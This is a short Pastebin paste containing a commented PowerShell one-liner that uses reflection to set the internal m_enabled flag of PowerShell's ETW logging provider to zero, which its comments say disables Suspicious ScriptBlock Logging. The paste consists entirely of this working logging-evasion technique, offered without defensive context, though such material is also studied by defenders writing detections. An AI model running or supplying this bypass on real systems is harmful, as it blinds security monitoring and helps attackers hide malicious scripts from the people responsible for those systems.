Guest User

Untitled

a guest
Nov 18th, 2017
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.58 KB | None | 0 0
  1. #
  2. # This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
  3. # which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
  4. # to bypass Suspicious ScriptBlock Logging for readability.
  5. #
  6. [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Add Comment
Please, Sign In to add comment